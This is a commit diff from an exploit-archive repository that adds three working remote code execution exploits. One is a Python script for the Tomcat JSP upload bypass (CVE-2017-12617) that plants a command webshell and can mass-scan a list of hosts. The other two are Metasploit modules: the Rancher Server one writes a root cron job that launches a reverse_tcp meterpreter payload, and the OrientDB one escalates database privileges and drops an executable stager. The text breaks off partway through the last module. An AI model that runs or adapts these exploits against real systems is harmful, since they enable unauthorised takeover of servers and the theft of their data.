DB: 2017-10-10
3 new exploits Rancher Server - Docker Daemon Code Execution (Metasploit) OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit) Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution
This commit is contained in:
parent
99ad37a918
commit
b49ee665d7
4 changed files with 705 additions and 0 deletions
|
@ -15894,6 +15894,8 @@ id,file,description,date,author,platform,type,port
|
|||
42949,platforms/linux/remote/42949.txt,"UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution",2017-10-02,agix,linux,remote,0
|
||||
42952,platforms/windows/remote/42952.py,"ERS Data System 1.8.1 - Java Deserialization",2017-09-21,"West Shepherd",windows,remote,0
|
||||
42958,platforms/linux/remote/42958.py,"Unitrends UEB 9.1 - Authentication Bypass / Remote Command Execution",2017-08-08,"Jared Arave",linux,remote,0
|
||||
42964,platforms/lin_x86-64/remote/42964.rb,"Rancher Server - Docker Daemon Code Execution (Metasploit)",2017-10-09,Metasploit,lin_x86-64,remote,8080
|
||||
42965,platforms/multiple/remote/42965.rb,"OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit)",2017-10-09,Metasploit,multiple,remote,2480
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
@ -38660,3 +38662,4 @@ id,file,description,date,author,platform,type,port
|
|||
42956,platforms/hardware/webapps/42956.txt,"NETGEAR ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution",2017-09-27,"Kacper Szurek",hardware,webapps,0
|
||||
42959,platforms/php/webapps/42959.py,"Unitrends UEB 9.1 - Privilege Escalation",2017-08-08,"Jared Arave",php,webapps,0
|
||||
42961,platforms/ruby/webapps/42961.txt,"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery",2017-08-30,"Dhiraj Mishra",ruby,webapps,0
|
||||
42966,platforms/jsp/webapps/42966.py,"Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution",2017-10-09,intx0x80,jsp,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
212
platforms/jsp/webapps/42966.py
Executable file
212
platforms/jsp/webapps/42966.py
Executable file
|
@ -0,0 +1,212 @@
|
|||
#!/usr/bin/python
|
||||
import requests
|
||||
import re
|
||||
import signal
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
class bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
FAIL = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
|
||||
|
||||
|
||||
banner="""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
|
||||
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
|
||||
|
||||
exit()
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
|
||||
|
||||
def removetags(tags):
|
||||
remove = re.compile('<.*?>')
|
||||
txt = re.sub(remove, '\n', tags)
|
||||
return txt.replace("\n\n\n","\n")
|
||||
|
||||
|
||||
def getContent(url,f):
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
re=requests.get(str(url)+"/"+str(f), headers=headers)
|
||||
return re.content
|
||||
|
||||
def createPayload(url,f):
|
||||
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
||||
if req.status_code==201:
|
||||
print "File Created .."
|
||||
|
||||
|
||||
def RCE(url,f):
|
||||
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||
<INPUT name='cmd' type=text>
|
||||
<INPUT type=submit value='Run'>
|
||||
</FORM>
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
String output = "";
|
||||
if(cmd != null) {
|
||||
String s = null;
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||
BufferedReader sI = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||
} catch(IOException e) { e.printStackTrace(); }
|
||||
}
|
||||
%>
|
||||
<pre><%=output %></pre>"""
|
||||
|
||||
|
||||
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
|
||||
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
||||
|
||||
|
||||
|
||||
def shell(url,f):
|
||||
|
||||
while True:
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
cmd=raw_input("$ ")
|
||||
payload={'cmd':cmd}
|
||||
if cmd=="q" or cmd=="Q":
|
||||
break
|
||||
|
||||
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
||||
re=str(re.content)
|
||||
t=removetags(re)
|
||||
print t
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#print bcolors.HEADER+ banner+bcolors.ENDC
|
||||
|
||||
parse=OptionParser(
|
||||
|
||||
|
||||
bcolors.HEADER+"""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
|
||||
./cve-2017-12617.py [options]
|
||||
|
||||
options:
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
[+]usage:
|
||||
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py --list hosts.txt
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""+bcolors.ENDC
|
||||
|
||||
)
|
||||
|
||||
|
||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||
|
||||
(opt,args)=parse.parse_args()
|
||||
|
||||
if opt.U==None and opt.P==None and opt.L==None:
|
||||
print(parse.usage)
|
||||
exit(0)
|
||||
|
||||
|
||||
|
||||
else:
|
||||
if opt.U!=None and opt.P==None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
url=str(opt.U)
|
||||
checker="Poc.jsp"
|
||||
print bcolors.BOLD +"Poc Filename {}".format(checker)
|
||||
createPayload(str(url)+"/",checker)
|
||||
con=getContent(str(url)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
|
||||
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
|
||||
|
||||
else:
|
||||
print 'Not Vulnerable to CVE-2017-12617 '
|
||||
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
pwn=str(opt.P)
|
||||
url=str(opt.U)
|
||||
print "Uploading Webshell ....."
|
||||
pwn=pwn+".jsp"
|
||||
RCE(str(url)+"/",pwn)
|
||||
shell(str(url),pwn)
|
||||
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
w=str(opt.L)
|
||||
f=open(w,"r")
|
||||
print "Scaning hosts in {}".format(w)
|
||||
checker="Poc.jsp"
|
||||
for i in f.readlines():
|
||||
i=i.strip("\n")
|
||||
createPayload(str(i)+"/",checker)
|
||||
con=getContent(str(i)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
|
234
platforms/lin_x86-64/remote/42964.rb
Executable file
234
platforms/lin_x86-64/remote/42964.rb
Executable file
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Rancher Server - Docker Exploit',
|
||||
'Description' => %q(
|
||||
Utilizing Rancher Server, an attacker can create a docker container
|
||||
with the '/' path mounted with read/write permissions on the host
|
||||
server that is running the docker container. As the docker container
|
||||
executes command as uid 0 it is honored by the host operating system
|
||||
allowing the attacker to edit/create files owed by root. This exploit
|
||||
abuses this to creates a cron job in the '/etc/cron.d/' path of the
|
||||
host server.
|
||||
|
||||
The Docker image should exist on the target system or be a valid image
|
||||
from hub.docker.com.
|
||||
|
||||
Use `check` with verbose mode to get a list of exploitable Rancher
|
||||
Hosts managed by the target system.
|
||||
),
|
||||
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X64],
|
||||
'Payload' => { 'Space' => 65000 },
|
||||
'Targets' => [[ 'Linux', {} ]],
|
||||
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 27, 2017'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
|
||||
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
|
||||
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
|
||||
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
|
||||
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
|
||||
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
|
||||
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def del_container(rancher_container_id, container_id)
|
||||
res = send_request_cgi(
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
return vprint_good('The docker container has been removed.') if res && res.code == 200
|
||||
|
||||
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
|
||||
end
|
||||
|
||||
def make_container_id
|
||||
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
|
||||
|
||||
rand_text_alpha_lower(8)
|
||||
end
|
||||
|
||||
def make_cmd(mnt_path, cron_path, payload_path)
|
||||
vprint_status('Creating the docker container command')
|
||||
echo_cron_path = mnt_path + cron_path
|
||||
echo_payload_path = mnt_path + payload_path
|
||||
|
||||
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
|
||||
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
def make_container(mnt_path, cron_path, payload_path, container_id)
|
||||
vprint_status('Setting container json request variables')
|
||||
{
|
||||
'instanceTriggeredStop' => 'stop',
|
||||
'startOnCreate' => true,
|
||||
'networkMode' => 'managed',
|
||||
'requestedHostId' => datastore['TARGETHOST'],
|
||||
'type' => 'container',
|
||||
'dataVolumes' => [ '/:' + mnt_path ],
|
||||
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
|
||||
'name' => container_id,
|
||||
'command' => make_cmd(mnt_path, cron_path, payload_path),
|
||||
'entryPoint' => %w[sh -c]
|
||||
}
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
print_error('Failed to connect to the target')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
|
||||
print_error('Authorization is required. Provide valid Rancher API Keys.')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
|
||||
target_found = false
|
||||
target_selected = false
|
||||
|
||||
environments = JSON.parse(res.body)['data']
|
||||
environments.each do |e|
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
hosts = JSON.parse(res.body)['data']
|
||||
hosts.each do |h|
|
||||
target_found = true
|
||||
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
|
||||
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
|
||||
|
||||
# flag results when this host is targeted via options
|
||||
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
|
||||
target_selected = true
|
||||
vprint_good(result + ' %red<-- targeted%clr')
|
||||
else
|
||||
vprint_good(result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if target_found
|
||||
return Exploit::CheckCode::Vulnerable if target_selected
|
||||
|
||||
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
|
||||
if datastore['VERBOSE'] == false
|
||||
print_bad('Try verbose mode to know what happened.')
|
||||
end
|
||||
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_bad('No TARGETHOST available')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::Unknown, 'Failed to connect to the target')
|
||||
end
|
||||
|
||||
# create required information to create json container information
|
||||
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||
mnt_path = '/mnt/' + rand_text_alpha(8)
|
||||
container_id = make_container_id
|
||||
|
||||
# deploy docker container
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' },
|
||||
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
|
||||
)
|
||||
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
|
||||
|
||||
print_good('The docker container is created, waiting for it to deploy')
|
||||
|
||||
# cleanup
|
||||
register_files_for_cleanup(cron_path, payload_path)
|
||||
|
||||
rancher_container_id = JSON.parse(res.body)['id']
|
||||
deleted_container = false
|
||||
|
||||
sleep_time = 5
|
||||
wait_time = datastore['WAIT_TIMEOUT']
|
||||
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
|
||||
|
||||
while wait_time > 0
|
||||
sleep(sleep_time)
|
||||
wait_time -= sleep_time
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
next unless res && res.code == 200 && res.body.include?('stopped')
|
||||
|
||||
vprint_good('The docker container has stopped, now trying to remove it')
|
||||
del_container(rancher_container_id, container_id)
|
||||
deleted_container = true
|
||||
wait_time = 0
|
||||
end
|
||||
|
||||
# if container does not deploy, try to remove it and fail out
|
||||
unless deleted_container
|
||||
del_container(rancher_container_id, container_id)
|
||||
fail_with(Failure::Unknown, "The docker container failed to start")
|
||||
end
|
||||
|
||||
print_status('Waiting for the cron job to run, can take up to 60 seconds')
|
||||
end
|
||||
end
|
256
platforms/multiple/remote/42965.rb
Executable file
256
platforms/multiple/remote/42965.rb
Executable file
|
@ -0,0 +1,256 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
|
||||
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
|
||||
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
|
||||
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
|
||||
],
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 13 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2480),
|
||||
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
|
||||
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri
|
||||
uri.path = normalize_uri(uri.path)
|
||||
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
|
||||
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
|
||||
print_good("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def http_send_command(cmd, opts = {})
|
||||
# 1 -Create the malicious function
|
||||
func_name = Rex::Text::rand_text_alpha(5).downcase
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
if not (res and res.code == 201)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 2 - Trigger the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => ""
|
||||
}
|
||||
req = send_request_raw(request_parameters)
|
||||
if not (req and req.code == 200)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 3 - Get the malicious function id
|
||||
if res && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["@rid"]
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
|
||||
return
|
||||
end
|
||||
end
|
||||
func_id = json_body.slice(1..-1)
|
||||
# 4 - Delete the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => ""
|
||||
}
|
||||
rer = send_request_raw(request_parameters)
|
||||
if not (rer and rer.code == 204)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def java_craft_runtime_exec(cmd)
|
||||
decoder = Rex::Text.rand_text_alpha(5, 8)
|
||||
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
||||
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
||||
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||
jcode << "String [] #{cmd_array} = new String[3];\n"
|
||||
if target['Platform'] == 'win'
|
||||
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
||||
else
|
||||
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
||||
end
|
||||
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
||||
jcode
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if not @to_delete.nil?
|
||||
print_warning("Deleting #{@to_delete} payload file")
|
||||
execute_command("rm #{@to_delete}")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
vprint_status("Attempting to execute: #{cmd}")
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
http_send_command(cmd,targetdb)
|
||||
end
|
||||
|
||||
def linux_stager
|
||||
cmds = "echo LINE | tee FILE"
|
||||
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
base64 = Rex::Text.encode_base64(exe)
|
||||
base64.gsub!(/\=/, "\\u003d")
|
||||
file = rand_text_alphanumeric(4+rand(4))
|
||||
execute_command("touch /tmp/#{file}.b64")
|
||||
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
||||
base64.each_line do |line|
|
||||
line.chomp!
|
||||
cmd = cmds
|
||||
cmd.gsub!(/LINE/, line)
|
||||
execute_command(cmds)
|
||||
end
|
||||
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
||||
execute_command("chmod +x /tmp/#{file}")
|
||||
execute_command("rm /tmp/#{file}.b64")
|
||||
execute_command("/tmp/#{file}")
|
||||
@to_delete = "/tmp/#{file}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
privs_enable = ['create','read','update','execute','delete']
|
||||
items = ['database.class.ouser','database.function','database.systemclusters']
|
||||
# Set the required DB permissions
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "GRANT #{priv} ON #{item} TO writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
# Exploit
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
execute_cmdstager(flavor: :vbs)
|
||||
when 'unix'
|
||||
print_status("#{rhost}:#{rport} - Sending payload...")
|
||||
res = http_send_command("#{payload.encoded}","#{targetdb}")
|
||||
when 'linux'
|
||||
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
||||
linux_stager
|
||||
end
|
||||
handler
|
||||
# Final Cleanup
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||
